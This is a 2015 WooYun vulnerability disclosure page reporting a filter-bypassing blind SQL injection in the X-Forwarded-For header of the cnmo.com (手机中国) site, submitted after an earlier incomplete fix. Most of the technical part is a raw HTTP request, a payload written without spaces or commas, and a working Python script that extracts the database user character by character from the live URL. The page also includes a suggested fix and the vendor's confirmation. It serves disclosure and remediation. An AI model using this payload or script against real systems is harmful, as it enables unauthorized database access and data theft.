当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0157220

漏洞标题:手机中国主站绕过限制SQL注入(修复不彻底)附验证脚本

相关厂商:手机中国

漏洞作者: 眼镜蛇

提交时间:2015-12-01 09:36

修复时间:2016-01-15 15:26

公开时间:2016-01-15 15:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-01: 细节已通知厂商并且等待厂商处理中
2015-12-01: 厂商已经确认,细节仅向厂商公开
2015-12-11: 细节向核心白帽子及相关领域专家公开
2015-12-21: 细节向普通白帽子公开
2015-12-31: 细节向实习白帽子公开
2016-01-15: 细节向公众公开

简要描述:

绕过过滤继续注入

详细说明:

GET /docVote.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
X-Forwarded-For: 1'or(ascii(substr(user()from(1)for(1)))=49)or'
Referer: http://www.cnmo.com
Host: www.cnmo.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*


该处X-Forwarded-For 虽然经过修复,然后有一些限制比如空格、逗号等等都不能出现,但任然存在注入,
经过反复研究尝试,最终构造以下payload:
1'or(ascii(substr(user()from(1)for(1)))=49)or'
完全没有空格、逗号
条件为真的时候 返回errol 为假的时候返回不同字符串
附带验证脚本:

import sys,urllib2
from optparse import OptionParser
from urllib2 import Request,urlopen,URLError,HTTPError
import urllib
result=''
def request(URL,data,headers):


req = urllib2.Request(URL, data, headers)
try:
request = urllib2.urlopen(req)
except HTTPError, e:
if e.code == 500:
return 'Runtime Error'
except URLError, e:
sys.exit(1)
return request.read()
def binary_sqli(left, right, index):
global result
while 1:
mid = (left + right)/2
if (right-left==1):
result += chr(right)
print 'user: ' ,result
break
payload = "1'or(ascii(substr(user()from(%s)for(1)))>%s)or'" % (index, mid)
print payload
headers={'X-Forwarded-For':payload}
html = request('http://www.cnmo.com/docVote.php',None,headers)
print html
verify = 'File'
if verify not in html:
left = mid
else:
right = mid
if __name__ == '__main__':
for i in range(1,20):
binary_sqli(32, 127, i)

漏洞证明:

1.png

修复方案:

建议对 substr user()等关键字过滤

版权声明:转载请注明来源 眼镜蛇@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-12-01 15:25

厂商回复:

感谢,已经修复

最新状态:

暂无